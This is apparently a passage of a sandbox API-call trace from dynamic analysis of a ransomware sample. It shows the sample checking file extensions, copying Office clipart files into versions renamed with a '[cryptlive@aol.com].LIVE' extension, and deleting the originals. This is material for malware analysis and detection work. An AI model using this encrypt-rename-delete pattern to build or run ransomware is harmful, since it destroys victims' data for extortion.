(lpString1=".dbf", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString=".1cd") returned 4 [0153.429] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString=".jpg") returned 4 [0153.429] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString=".doc") returned 4 [0153.429] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString=".docx") returned 5 [0153.429] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.429] lstrlenW (lpString=".pdf") returned 4 [0153.429] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString=".xls") returned 4 [0153.429] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.429] lstrlenW (lpString=".xlsx") returned 5 [0153.429] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.429] lstrlenW (lpString=".ppt") returned 4 [0153.429] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.429] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.429] lstrlenW (lpString=".zip") returned 4 [0153.430] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.430] lstrlenW (lpString=".rar") returned 4 [0153.430] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString=".bz2") returned 4 [0153.430] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString=".7z") returned 3 [0153.430] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.430] lstrlenW (lpString=".dbf") returned 4 [0153.430] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.430] lstrlenW (lpString=".1cd") returned 4 [0153.430] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.430] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105490.WMF") returned 63 [0153.430] lstrlenW (lpString=".jpg") returned 4 [0153.430] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.430] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.430] lstrlenW (lpString="J0105526.WMF") returned 12 [0153.430] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.431] GetFileSizeEx (in: hFile=0x314, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=17332) returned 1 [0153.431] CloseHandle (hObject=0x314) returned 1 [0153.431] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 0x20 [0153.432] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x314 [0153.432] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.432] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.432] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.433] GetLastError () returned 0x0 [0153.433] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x43b4, lpOverlapped=0x0) returned 1 [0153.482] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x43c0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x43c0, lpOverlapped=0x0) returned 1 [0153.484] ReadFile (in: hFile=0x314, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.485] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.485] SetEndOfFile (hFile=0x1f8) returned 1 [0153.485] CloseHandle (hObject=0x1f8) returned 1 [0153.485] SetFilePointerEx (in: hFile=0x314, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.485] SetEndOfFile (hFile=0x314) returned 1 [0153.488] CloseHandle (hObject=0x314) returned 1 [0153.488] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.505] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105526.wmf")) returned 1 [0153.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.506] lstrlenW (lpString=".doc") returned 4 [0153.506] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.506] lstrlenW (lpString=".docx") returned 5 [0153.506] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.506] lstrlenW (lpString=".pdf") returned 4 [0153.506] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.506] lstrlenW (lpString=".xls") returned 4 [0153.506] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.506] lstrlenW (lpString=".xlsx") returned 5 [0153.506] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.506] lstrlenW (lpString=".ppt") returned 4 [0153.506] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.506] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.506] lstrlenW (lpString=".zip") returned 4 [0153.506] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.506] lstrlenW (lpString=".rar") returned 4 [0153.506] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.506] lstrlenW (lpString=".bz2") returned 4 [0153.507] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString=".7z") returned 3 [0153.507] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString=".dbf") returned 4 [0153.507] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString=".1cd") returned 4 [0153.507] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString=".jpg") returned 4 [0153.507] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString=".doc") returned 4 [0153.507] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString=".docx") returned 5 [0153.507] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0153.507] lstrlenW (lpString=".pdf") returned 4 [0153.507] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString=".xls") returned 4 [0153.507] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.507] lstrlenW (lpString=".xlsx") returned 5 [0153.507] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0153.507] lstrlenW (lpString=".ppt") returned 4 [0153.507] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.507] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.507] lstrlenW (lpString=".zip") returned 4 [0153.508] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.508] lstrlenW (lpString=".rar") returned 4 [0153.508] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.508] lstrlenW (lpString=".bz2") returned 4 [0153.508] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.508] lstrlenW (lpString=".7z") returned 3 [0153.508] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.508] lstrlenW (lpString=".dbf") returned 4 [0153.508] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.508] lstrlenW (lpString=".1cd") returned 4 [0153.508] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105526.WMF") returned 63 [0153.508] lstrlenW (lpString=".jpg") returned 4 [0153.508] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.508] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.508] lstrlenW (lpString="J0105600.WMF") returned 12 [0153.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.613] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=8680) returned 1 [0153.614] CloseHandle (hObject=0x1e0) returned 1 [0153.614] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 0x20 [0153.617] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.618] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.618] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.618] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.619] GetLastError () returned 0x0 [0153.619] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x21e8, lpOverlapped=0x0) returned 1 [0153.623] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x21f0, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x21f0, lpOverlapped=0x0) returned 1 [0153.625] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.625] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.625] SetEndOfFile (hFile=0x1f8) returned 1 [0153.625] CloseHandle (hObject=0x1f8) returned 1 [0153.625] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.625] SetEndOfFile (hFile=0x1e0) returned 1 [0153.628] CloseHandle (hObject=0x1e0) returned 1 [0153.628] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.628] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105600.wmf")) returned 1 [0153.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.629] lstrlenW (lpString=".doc") returned 4 [0153.629] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString=".docx") returned 5 [0153.629] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.629] lstrlenW (lpString=".pdf") returned 4 [0153.629] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString=".xls") returned 4 [0153.629] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.629] lstrlenW (lpString=".xlsx") returned 5 [0153.629] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.629] lstrlenW (lpString=".ppt") returned 4 [0153.629] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.629] lstrlenW (lpString=".zip") returned 4 [0153.629] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.629] lstrlenW (lpString=".rar") returned 4 [0153.629] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString=".bz2") returned 4 [0153.629] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString=".7z") returned 3 [0153.629] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.629] lstrlenW (lpString=".dbf") returned 4 [0153.629] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.629] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.629] lstrlenW (lpString=".1cd") returned 4 [0153.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".jpg") returned 4 [0153.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".doc") returned 4 [0153.630] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString=".docx") returned 5 [0153.630] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1 [0153.630] lstrlenW (lpString=".pdf") returned 4 [0153.630] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString=".xls") returned 4 [0153.630] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.630] lstrlenW (lpString=".xlsx") returned 5 [0153.630] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1 [0153.630] lstrlenW (lpString=".ppt") returned 4 [0153.630] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".zip") returned 4 [0153.630] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.630] lstrlenW (lpString=".rar") returned 4 [0153.630] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString=".bz2") returned 4 [0153.630] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString=".7z") returned 3 [0153.630] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".dbf") returned 4 [0153.630] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".1cd") returned 4 [0153.630] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.630] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105600.WMF") returned 63 [0153.630] lstrlenW (lpString=".jpg") returned 4 [0153.630] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.631] lstrcmpiW (lpString1=".WMF", lpString2=".LIVE") returned 1 [0153.631] lstrlenW (lpString="J0105974.WMF") returned 12 [0153.631] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.632] GetFileSizeEx (in: hFile=0x1e0, lpFileSize=0x33cff1c | out: lpFileSize=0x33cff1c*=4612) returned 1 [0153.632] CloseHandle (hObject=0x1e0) returned 1 [0153.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 0x20 [0153.632] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[cryptlive@aol.com].live")) returned 0xffffffff [0153.632] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1e0 [0153.633] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.633] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.633] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[cryptlive@aol.com].LIVE" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf.id-9c354b42.[cryptlive@aol.com].live"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1f8 [0153.633] GetLastError () returned 0x0 [0153.633] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x1204, lpOverlapped=0x0) returned 1 [0153.645] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0x1210, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0x1210, lpOverlapped=0x0) returned 1 [0153.646] ReadFile (in: hFile=0x1e0, lpBuffer=0x3fe0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33cfed4, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesRead=0x33cfed4*=0x0, lpOverlapped=0x0) returned 1 [0153.646] WriteFile (in: hFile=0x1f8, lpBuffer=0x3fe0020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33cfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3fe0020*, lpNumberOfBytesWritten=0x33cfc9c*=0xec, lpOverlapped=0x0) returned 1 [0153.646] SetEndOfFile (hFile=0x1f8) returned 1 [0153.646] CloseHandle (hObject=0x1f8) returned 1 [0153.646] SetFilePointerEx (in: hFile=0x1e0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33cfec8 | out: lpNewFilePointer=0x0) returned 1 [0153.646] SetEndOfFile (hFile=0x1e0) returned 1 [0153.649] CloseHandle (hObject=0x1e0) returned 1 [0153.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF.id-9C354B42.[cryptlive@aol.com].LIVE", dwFileAttributes=0x20) returned 1 [0153.649] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0105974.wmf")) returned 1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString=".doc") returned 4 [0153.650] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString=".docx") returned 5 [0153.650] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1 [0153.650] lstrlenW (lpString=".pdf") returned 4 [0153.650] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString=".xls") returned 4 [0153.650] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0153.650] lstrlenW (lpString=".xlsx") returned 5 [0153.650] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1 [0153.650] lstrlenW (lpString=".ppt") returned 4 [0153.650] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString=".zip") returned 4 [0153.650] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0153.650] lstrlenW (lpString=".rar") returned 4 [0153.650] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString=".bz2") returned 4 [0153.650] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString=".7z") returned 3 [0153.650] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString=".dbf") returned 4 [0153.650] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString=".1cd") returned 4 [0153.650] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.650] lstrlenW (lpString=".jpg") returned 4 [0153.650] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0153.650] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0105974.WMF") returned 63 [0153.651] lstrlenW (lpString=".doc") returned 4 